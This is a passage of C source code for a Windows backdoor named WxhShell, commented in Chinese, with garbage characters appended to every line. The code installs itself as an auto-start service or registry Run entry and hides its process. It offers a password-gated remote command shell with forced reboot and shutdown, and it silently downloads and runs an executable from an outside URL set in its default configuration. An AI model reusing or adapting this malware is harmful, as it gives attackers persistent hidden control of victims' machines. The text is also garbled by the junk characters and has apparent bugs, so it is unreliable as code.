    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @3hA\3ot^  
    if(Boot(SHUTDOWN)) pPNU0]/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "Y Z B@  
    else { {>E`Zf:  
    closesocket(wsh); &xG>"sJ  
    ExitThread(0); wua`e <"  
    } dd +%d  
    break;  1 U|IN=  
    } k%5 o5Hx  
  // 获取shell Ne)H*DT  
  case 's': { \/Z?QBFvz  
    CmdShell(wsh); +p:#$R)MW  
    closesocket(wsh); D.hj9  
    ExitThread(0); al9L+ruR  
    break; B1GBQH$Ms  
  } GoK[tjb  
  // 退出 -c"nx$  
  case 'x': { E{m\LUd^ :  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I$7#Z!P6|  
    CloseIt(wsh); ]D@_cxud3  
    break; 8%qHy1  
    } `J%iFm/5*  
  // 离开 H]7MNY  
  case 'q': { 9#CE m &c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [YQVZBT|{  
    closesocket(wsh); O(~74:#*  
    WSACleanup(); #@QZ  
    exit(1); 1Z5:D E<  
    break; [J'O5" T  
        } FaOfe]F  
  } |]tIE{d  
  } FOAy'76p  
9%i|_c}  
  // 提示信息 p,hDZea  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xWv@PqXD  
} WQ(*A $  
  } dvWQ?1l_  
T( UPWsj  
  return; &\Es\qVSf  
} &R\t<X9 n  
>}tm8|IHoo  
// shell模块句柄 &&/2oP+z  
int CmdShell(SOCKET sock) @ j/UDM  
{ :`~;~gW<  
STARTUPINFO si; k?%?EsR  
ZeroMemory(&si,sizeof(si)); Bg"KNg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z= P]UD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +}eGCZra  
PROCESS_INFORMATION ProcessInfo; rq;Xcc  
char cmdline[]="cmd"; &R? \q*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KiXRBFo  
  return 0; RqV* O}Am  
} 9ZbT41  
x]~{#pH@<  
// 自身启动模式 |~'PEY  
int StartFromService(void) R/&Ev$:  
{ ]!JUiFj"uD  
typedef struct K"%_q$[YQ  
{ ){u/v[O9"  
  DWORD ExitStatus; +j*hbG=  
  DWORD PebBaseAddress; KCE5Z?k  
  DWORD AffinityMask; O$=[m9V  
  DWORD BasePriority; 3 ZZ"mlk*  
  ULONG UniqueProcessId; @2>A\0U  
  ULONG InheritedFromUniqueProcessId; k E^%w?C  
}   PROCESS_BASIC_INFORMATION; YueYa#7z  
^Jv$Wx  
PROCNTQSIP NtQueryInformationProcess; >5rb4  
o5NV4=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f-lM[\ma_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; IY Ilab\TZ  
%r1NRg8  
  HANDLE             hProcess; f,Z* o  
  PROCESS_BASIC_INFORMATION pbi; ak :Y<}  
`Bw>0%.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O] T'\6w  
  if(NULL == hInst ) return 0; 4CUzp.S`h  
kj$Ks2!W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,4O|{Iu#n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k[{h$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h!k[]bt5  
tZW2TUM]  
  if (!NtQueryInformationProcess) return 0; - '<K_e;  
I?2S{]!?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U3R;'80 f  
  if(!hProcess) return 0; = ;hz,+  
it Byw1/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; us/}_r74N*  
p\A!"KC  
  CloseHandle(hProcess); ~F gxhK2+  
?Xdb%.   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fi |k)  
if(hProcess==NULL) return 0; +7<W.Zii  
zEHX:-f8  
HMODULE hMod; 8dgi"/[3  
char procName[255]; :eL{&&6  
unsigned long cbNeeded; V7+fNr]I  
Rm^3K   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); reBAxmt   
~pv|  
  CloseHandle(hProcess); %T~3xQ  
MBeubS  
if(strstr(procName,"services")) return 1; // 以服务启动 Wu}84W"!.V  
IE^xk@  
  return 0; // 注册表启动 ^Z dDs8j  
} |` N|S  
.paKV"LJ  
// 主模块 V8Lp%*(3  
int StartWxhshell(LPSTR lpCmdLine) 7?U)V03  
{ pTQ70V3  
  SOCKET wsl; O,a1?_m8  
BOOL val=TRUE; /AT2<w  
  int port=0; l2Gtw*i_I  
  struct sockaddr_in door;  S2;u!f  
\ 5&-U@  
  if(wscfg.ws_autoins) Install(); +4*3aWf`  
d[0 R#2y=  
port=atoi(lpCmdLine); i[IOR0  
E.V lz^B  
if(port<=0) port=wscfg.ws_port; ^~ 95q0hq:  
5_H`6-q  
  WSADATA data; _l{`lQ}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -nHt6AbqP  
K:<j=j@51  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [w1 4hHnq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pXoD*o b  
  door.sin_family = AF_INET;  ktA5]f;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  z(Y zK  
  door.sin_port = htons(port); d~0k}|>  
(dH "b *  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8zI*<RX.Q  
closesocket(wsl); H.Q648A"PF  
return 1; o_i N(K  
} r5> 1n/+6  
Q\QSnMM&]  
  if(listen(wsl,2) == INVALID_SOCKET) { S6<z2-y  
closesocket(wsl); *eF'<._[U  
return 1; ^MXW,xqb  
} y#B4m`9  
  Wxhshell(wsl); P]~apMi:  
  WSACleanup(); `X8wnD  
/WxCsQn  
return 0; M^89]woC  
M:5K4$>Kx  
} ?@>PKUv{  
b] 5i`  
// 以NT服务方式启动 6T9?C|q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 85}S8\_u  
{ _9pcHhJux  
DWORD   status = 0; >z"\l  
  DWORD   specificError = 0xfffffff; es6]c%o:t^  
B7 #O>a  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +jPJv[W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; q*^m8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T4JG5  
  serviceStatus.dwWin32ExitCode     = 0; G`oY(2U  
  serviceStatus.dwServiceSpecificExitCode = 0; BzXTHFMSy  
  serviceStatus.dwCheckPoint       = 0; 4#Bzq3,|  
  serviceStatus.dwWaitHint       = 0; X$Y\/|!z  
kgv29j?k;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _?I6[Mz  
  if (hServiceStatusHandle==0) return; )8JfBzR  
RSTA!?K/.  
status = GetLastError(); |uIgZ|7[  
  if (status!=NO_ERROR) k9*6`w  
{ gb^<6BYUG  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L=_   
    serviceStatus.dwCheckPoint       = 0; W6A-/;S\  
    serviceStatus.dwWaitHint       = 0; %7S{g  
    serviceStatus.dwWin32ExitCode     = status; yADX^r(  
    serviceStatus.dwServiceSpecificExitCode = specificError; N hY`_?)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hWz/PK,  
    return; a !yBEpMo  
  } hU~up a<dD  
^&z3zFTp  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d%~OEq1i"  
  serviceStatus.dwCheckPoint       = 0; g9.y`o}c  
  serviceStatus.dwWaitHint       = 0; W[G5+*i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e#<A\?  
} W}iDT?Qi  
ul&}'jBr  
// 处理NT服务事件,比如:启动、停止 c D5N'3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ev[!:*6P  
{ ;uhpo  
switch(fdwControl) `gSJEq  
{ 2)\g IMt%  
case SERVICE_CONTROL_STOP: UfNcI[xr  
  serviceStatus.dwWin32ExitCode = 0; Njmb{L]Cps  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :5-t$^R  
  serviceStatus.dwCheckPoint   = 0; 0-~F%:x  
  serviceStatus.dwWaitHint     = 0; uE ^uP@d  
  { "MPr'3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $lAQcG&Q  
  } :m[HUh  
  return; 3n)\D<f]#  
case SERVICE_CONTROL_PAUSE: tE$oV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;[q>  
  break; V2B: DIpr  
case SERVICE_CONTROL_CONTINUE: AT -  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 89YG `  
  break; p;<aZ&@O  
case SERVICE_CONTROL_INTERROGATE: 9TU B3x^  
  break; ,ieew`  
}; 'h#>@v> }  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cR6Rb[9 N  
} qir8RPW  
y;VmA#k`  
// 标准应用程序主函数 !E~czC\p6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) QR\2 %}9b  
{ S#F%OIx  
(J5M+K\H  
// 获取操作系统版本 u|sdQ  
OsIsNt=GetOsVer(); EG J/r  
GetModuleFileName(NULL,ExeFile,MAX_PATH); AkEt=vI  
ayZWt| iHA  
  // 从命令行安装 (r-8*)Qh8  
  if(strpbrk(lpCmdLine,"iI")) Install(); dk_! ~Z  
wl0i3)e:  
  // 下载执行文件  r<1.'F  
if(wscfg.ws_downexe) { D}/nE>*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A(1WQUu j  
  WinExec(wscfg.ws_filenam,SW_HIDE); fU>4Ip1?y/  
}  (2dkmn  
|H'wDw8  
if(!OsIsNt) { H03R?S9AQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 P0l.sVqL  
HideProc(); *EF`s~  
StartWxhshell(lpCmdLine); :+v4,=fHy  
} R,8460e7  
else l:14uWu|  
  if(StartFromService()) ZJ%iiY  
  // 以服务方式启动 0I}c|V'P  
  StartServiceCtrlDispatcher(DispatchTable); (L,>P`CR6  
else -cB>; f)5r  
  // 普通方式启动 o(@^V!}V  
  StartWxhshell(lpCmdLine); V?r(;x  
$|o[l.q2  
return 0; |!xqkmX  
} OP98sd&T  
j|IvDrm#  
I^?hVH  
)rbcY0q  
=========================================== Os[50j!4>  
UJ^-T+fut  
T5+ (Fz  
vPET'Bf(YV  
\^Z DH  
PX5U)  
" |D~#9  
[g@ .dr3t  
#include <stdio.h> |Li9Y"5  
#include <string.h> ADT8A."R[  
#include <windows.h> #RWmP$+#=  
#include <winsock2.h> Jzj>=jWX@  
#include <winsvc.h> c{\x< AwO  
#include <urlmon.h> Ze3sc$fG2  
$sb `BS  
#pragma comment (lib, "Ws2_32.lib") 2T-3rC)  
#pragma comment (lib, "urlmon.lib") ]Vd1fkXO0  
8M6Qn7{L  
#define MAX_USER   100 // 最大客户端连接数 N3&n"w _d  
#define BUF_SOCK   200 // sock buffer ,H5o/qNU`{  
#define KEY_BUFF   255 // 输入 buffer wmaj[e,h  
QV_Ep8  
#define REBOOT     0   // 重启 _MzdbUb5,  
#define SHUTDOWN   1   // 关机 nT%<!/}!  
s%@HchZ 1  
#define DEF_PORT   5000 // 监听端口 AxiCpAS;J  
t ybM3VA  
#define REG_LEN     16   // 注册表键长度 BF(Kaf;<t.  
#define SVC_LEN     80   // NT服务名长度 PaBqv]  
fK5iOj'Q  
// 从dll定义API Rqun}v}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); s AlOX`t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \)+s)&JLb  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f4+}k GJN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Yp6% @c6\  
86ml.VOR  
// wxhshell配置信息 )"&\S6*!  
struct WSCFG { M%N_4j.  
  int ws_port;         // 监听端口 "/zDcZbL;  
  char ws_passstr[REG_LEN]; // 口令 Kc {~Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no )B5(V5-!|  
  char ws_regname[REG_LEN]; // 注册表键名 e%v0EJ},  
  char ws_svcname[REG_LEN]; // 服务名 FS6I?q#tQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |&\cr\T\r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `l<pH<F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =>Dw ,+"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h 7*#;j  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" F1b~S;lm  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !K/zFYl  
'Q4V(.   
}; Y[`%j\=  
m^Rf6O^  
// default Wxhshell configuration jWerX -$  
struct WSCFG wscfg={DEF_PORT, SkMBdkS9z[  
    "xuhuanlingzhe", $6yr:2Xvt  
    1, V>B*_J,z.  
    "Wxhshell", #brV{dHV,  
    "Wxhshell", |3uE"\nfA  
            "WxhShell Service", o,DI7sb  
    "Wrsky Windows CmdShell Service", Yc~c(1VRz  
    "Please Input Your Password: ", nISfRXU;  
  1, H^0`YQJ3  
  "http://www.wrsky.com/wxhshell.exe", FW!1 0K?  
  "Wxhshell.exe" ARa9Ia{@  
    }; OojQG  
mx")cGGQ  
// 消息定义模块 ~e R6[;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5wGc"JHm  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F(+dX4$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; mc}r15:<  
char *msg_ws_ext="\n\rExit."; YLe$Vv735  
char *msg_ws_end="\n\rQuit."; Mf.:y  
char *msg_ws_boot="\n\rReboot..."; .[hbiv#  
char *msg_ws_poff="\n\rShutdown..."; #>(h!lT_  
char *msg_ws_down="\n\rSave to "; GeCyq%dN  
X?Z#k~JR  
char *msg_ws_err="\n\rErr!"; UY*[='l!)  
char *msg_ws_ok="\n\rOK!"; gj<Y+Dv>  
p/%B>Y >  
char ExeFile[MAX_PATH]; qC$h~Epp4  
int nUser = 0; Jz'8|o;^  
HANDLE handles[MAX_USER]; J3#  
int OsIsNt; ,K[}Bz  
6$"0!fl>  
SERVICE_STATUS       serviceStatus; AHtLkfr(r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; A]CO Ysc  
qaN%&K9F8  
// 函数声明 pm~uWXqxr=  
int Install(void); Tq=OYJq5U  
int Uninstall(void); .~fAcc{Qj  
int DownloadFile(char *sURL, SOCKET wsh); c!}f\ ]D  
int Boot(int flag); R'{BkC}.  
void HideProc(void); hu''"/raM  
int GetOsVer(void); ~pj/_@S@x  
int Wxhshell(SOCKET wsl); lhLE)B2a2  
void TalkWithClient(void *cs); K/+w6d  
int CmdShell(SOCKET sock); %b(non*  
int StartFromService(void); fxL0"Ry  
int StartWxhshell(LPSTR lpCmdLine); ~LuR)T=%es  
KgMW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Xv1mjHZCC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qOd*9AS'|M  
,c_NXC^X?  
// 数据结构和表定义 Uq}-<q  
SERVICE_TABLE_ENTRY DispatchTable[] = ;~5w`F)  
{ f MDM\&f  
{wscfg.ws_svcname, NTServiceMain}, |UZhMF4/-L  
{NULL, NULL} Kv26rY8Q  
}; 6Jf\}^4@k  
_& qM^  
// 自我安装 {=GWQn6cc  
int Install(void) <!M ab}  
{ 6 su^yt  
  char svExeFile[MAX_PATH]; -H;p +XAY  
  HKEY key; ]$gBX=  
  strcpy(svExeFile,ExeFile); @(_M\>!%M  
fooQqWC)  
// 如果是win9x系统,修改注册表设为自启动 Q-LDFnOFwp  
if(!OsIsNt) { . |g67PH=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A(>kp=~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]jL`*tI\S  
  RegCloseKey(key); 3d0Yq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zHsWj^m"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (1my9k5C  
  RegCloseKey(key); Q~p[jQ,4wZ  
  return 0; ]C me)&hX  
    } umD[4aP~;  
  } A&~<qgBTp  
} E6NrBPm  
else { P6cc8x9g(  
Pxn;]!Z #  
// 如果是NT以上系统,安装为系统服务 Lp?JSMe  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q:D!@+U  
if (schSCManager!=0) LVj62&,-  
{ 5%E.UjC  
  SC_HANDLE schService = CreateService 47c` ) *Hc  
  ( ^,.G<2Kx&  
  schSCManager, d=B DR^/wA  
  wscfg.ws_svcname, !z.C}n5F  
  wscfg.ws_svcdisp, }4n?k'_s?  
  SERVICE_ALL_ACCESS, d\{#*{_A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^YLpZoo  
  SERVICE_AUTO_START, }m6j6uAR6)  
  SERVICE_ERROR_NORMAL, =<M7t*!  
  svExeFile, ]%K 8  
  NULL, 5Se S^kJC  
  NULL, iVKX *kqc  
  NULL, K{)YnY_E;  
  NULL, E"P5rT  
  NULL 0bQm:J[(#  
  ); 'r5[tK}  
  if (schService!=0) m8|&z{  
  { )@]Y1r4U  
  CloseServiceHandle(schService); <2Qh5umQ  
  CloseServiceHandle(schSCManager); +I+7@XiZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *\i<+~I@l  
  strcat(svExeFile,wscfg.ws_svcname); ;i2N`t2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nPj+mg  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8'(|1  
  RegCloseKey(key); \5wC&|WEB  
  return 0; :%?\Wj5HW  
    } |$vhu`]Z@^  
  } !1H\*VM "  
  CloseServiceHandle(schSCManager); cO#e AQf7  
} 96.A8o  
} W_zAAIY_Y  
_/)?GXwLn  
return 1; (!nhU  
} XVfp* `  
?V}AwLX}  
// 自我卸载 ms%Ot:uA  
int Uninstall(void) 1z\>>N$7B  
{ T F!Lp:  
  HKEY key; IJ%S[>  
U-$ B"w&  
if(!OsIsNt) { l|[8'*]r!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2HNH@K  
  RegDeleteValue(key,wscfg.ws_regname); bD[6) ITg  
  RegCloseKey(key); Qhd~4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7b2N'^z}  
  RegDeleteValue(key,wscfg.ws_regname); %0PZZl5b  
  RegCloseKey(key); Hset(-=X  
  return 0; C<.t'|  
  } 7b_Ihv   
} qR~s&SC#  
} TT429  
else {  4^L+LY  
 (BgO<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %EuXL% B  
if (schSCManager!=0) Z' 0Gd@/  
{ I499 Rrw#E  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XB &-k<C  
  if (schService!=0) _BcYS  
  { ?D#]g[6  
  if(DeleteService(schService)!=0) { 4:=eO!6  
  CloseServiceHandle(schService); `nO!_3  
  CloseServiceHandle(schSCManager); MR90}wXE  
  return 0; 4=H/-v'&  
  } [`^x;*C  
  CloseServiceHandle(schService); iaR^]|7_  
  } :v k+[PzJ  
  CloseServiceHandle(schSCManager); i6[,m*q~2x  
} 0VV1!g  
} N~ -N Q  
x@I@7Pvo3  
return 1; m6bI<C3^5  
} %$ ^yot  
edPnC {?s  
// 从指定url下载文件 >9f-zv(n  
int DownloadFile(char *sURL, SOCKET wsh) ,/\%-u? 1x  
{ |5}{4k~9J  
  HRESULT hr; :8;8-c  
char seps[]= "/"; a#=GLB_P(  
char *token; uBk$zs  
char *file; A$RN7#  
char myURL[MAX_PATH]; Ms*;?qtrR  
char myFILE[MAX_PATH]; x C'>W"pY  
;bd\XHwMUP  
strcpy(myURL,sURL); 63QSYn,t  
  token=strtok(myURL,seps); q_8qowu"  
  while(token!=NULL) +:2(xgOP.V  
  { 2-| oN/FD  
    file=token; _Gy*";E  
  token=strtok(NULL,seps); AM}-dKei|  
  } t_YiF%}s&#  
%ma1LN[  
GetCurrentDirectory(MAX_PATH,myFILE); XcA4EBRj  
strcat(myFILE, "\\"); E'LkoyI  
strcat(myFILE, file); AA}M"8~2  
  send(wsh,myFILE,strlen(myFILE),0); O{rgZ/4Au  
send(wsh,"...",3,0); \Z^K=K(|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (jkjj7a  
  if(hr==S_OK) {M]m cRB(  
return 0; J4te!,  
else Mg95us  
return 1; FXFQ@q*}v  
YTq>K/  
} uH]n/Kv1,  
AKM\1H3U  
// 系统电源模块 &adKKYN  
int Boot(int flag) hHoc7  
{ 4qjY,QJ  
  HANDLE hToken; G%anot  
  TOKEN_PRIVILEGES tkp; hNFMuv  
Dw{C_e  
  if(OsIsNt) { yPm)r2Ck  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xYM! mcA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SZc6=^$  
    tkp.PrivilegeCount = 1; m%q#x8Fp  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3Nw9o6`U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E/_=0t  
if(flag==REBOOT) { ^zqz$G#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <?Fgm1=o  
  return 0; v}-'L#6  
} z@&_3 Gl  
else { R\yw9!ESd  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ms3Ec`i9  
  return 0; vVKiE 6^  
} 1O9V Ej5  
  } e )\s0#  
  else {  ~J"*ahl  
if(flag==REBOOT) { yq[C?N &N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e&F,z=XJ}  
  return 0; z;'"c3qG8  
} RKIqg4>E  
else { QsI>_<r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) sBF>a|  
  return 0; k$o6~u 2&  
} [m!\ZK  
} kvSSz%R~  
05nG |  
return 1; -CY?~W L&  
} .he%a3e  
5nqj  
// win9x进程隐藏模块 sBF}j.b  
void HideProc(void) ImklM7A  
{ Wuye:b!  
/5suyM=U  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mRfF)  
  if ( hKernel != NULL ) ^#exs Xy  
  { sKjg)3Sl  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nb'],({:9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LUKdu&M  
    FreeLibrary(hKernel);  UX2`x9  
  } sh}=#eb  
Dw;L=4F |  
return; } RG  
} 8!me$k&  
D4n ~ 2]  
// 获取操作系统版本 ]Rnr>_>x;  
int GetOsVer(void) Z'WoChjM  
{ :(A]Bm3  
  OSVERSIONINFO winfo; lGjmw"/C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Hc^b}A y7  
  GetVersionEx(&winfo); lh~!cOm\=E  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7u\^$25+h  
  return 1; ZxbWgM5rm  
  else ,+,""t  
  return 0; 49_b)K.tB  
} ] 2FS=  
6!Ji-'\"  
// 客户端句柄模块 ;2)@NH  
int Wxhshell(SOCKET wsl) t1g)Y|@d  
{ A(Ugam~}  
  SOCKET wsh; 69r<Z  
  struct sockaddr_in client; ![U|2x   
  DWORD myID; bPOehvK/  
-`iZBC50  
  while(nUser<MAX_USER) rt!5Tl+v  
{ FB6`2E%o  
  int nSize=sizeof(client); ~+QfP:G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mWUQF"q8  
  if(wsh==INVALID_SOCKET) return 1; |CY.Y,  
h3>/..l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fX#Em'Ab[  
if(handles[nUser]==0) `EBo(^n}O  
  closesocket(wsh); `dn|n I2  
else  U`IDZ{g  
  nUser++; GvF~h0wMt  
  } =<iK3bPkU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?o),F^ir  
0j7\.aaK  
  return 0; 5sFp+_``  
} %@kmuz??  
V8`t7[r  
// 关闭 socket kVy%y"/  
void CloseIt(SOCKET wsh) @aY 8VL7C0  
{ & 2>W=h  
closesocket(wsh); t~Cul+  
nUser--; z[}[:H8  
ExitThread(0); f77Jn^Dt  
} EFqWnz  
@lDoMm,m'  
// 客户端请求句柄 -+#\WB{AI  
void TalkWithClient(void *cs) <8+.v6DCd  
{ C:0Ra^i ?L  
p_) V@ 7  
  SOCKET wsh=(SOCKET)cs; +VI2i~  
  char pwd[SVC_LEN]; (.m0hN!~u  
  char cmd[KEY_BUFF]; oh:g  
char chr[1]; xQ^zX7  
int i,j;  $3W[fC  
ygWo9?  
  while (nUser < MAX_USER) { oOmPbAY  
qOV#$dkY  
if(wscfg.ws_passstr) { O9dIobu4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2u*o/L+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NK~j>>^;v  
  //ZeroMemory(pwd,KEY_BUFF); "qIO,\3T  
      i=0; I|n<B"Q6^  
  while(i<SVC_LEN) { @i$9c)D  
=UM30 P/  
  // 设置超时 go@UE2qw  
  fd_set FdRead; 0}PW<lU-  
  struct timeval TimeOut; (@p E  
  FD_ZERO(&FdRead); >|/NDF=\s  
  FD_SET(wsh,&FdRead); 7Xw;TA  
  TimeOut.tv_sec=8; # ~} 26  
  TimeOut.tv_usec=0; `QnKal)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )d2 <;c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k*w]a  
Ky8sLm@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); im Zi7o  
  pwd=chr[0]; C~yfuPr\B  
  if(chr[0]==0xd || chr[0]==0xa) { 1*Yf[;L  
  pwd=0; V&eti2 &zO  
  break; bT|a]b:  
  } /![S 3Ol  
  i++; *rXESw]BR  
    } ?76Wg::  
0 gL]^_+7  
  // 如果是非法用户,关闭 socket x$[<<@F%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]Vln5U   
} \&NpVH,-  
\rF6"24t6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J3Qv|w [3Y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F@& R"-  
p&>*bF,  
while(1) { (vB aem9  
q?nXhUD  
  ZeroMemory(cmd,KEY_BUFF); o )G'._  
ug.mY=n '  
      // 自动支持客户端 telnet标准   1y2D]h/'  
  j=0; J{ P<^<m_  
  while(j<KEY_BUFF) { k?;A#L~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JN .\{ Y  
  cmd[j]=chr[0]; /!=uM .  
  if(chr[0]==0xa || chr[0]==0xd) { TUw^KSa  
  cmd[j]=0; m$ )yd~  
  break; }/nbv;)  
  } X};m\Bz  
  j++; me_DONW  
    } .0:BgM  
3{ LXx  
  // 下载文件 O#7ONQfBO  
  if(strstr(cmd,"http://")) { Hzcy '  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2E33m*C2  
  if(DownloadFile(cmd,wsh)) ug'I:#@2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); GbFLu`Iu  
  else IEfzu L<v  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2?u>A3^R  
  } J;W(}"cFq  
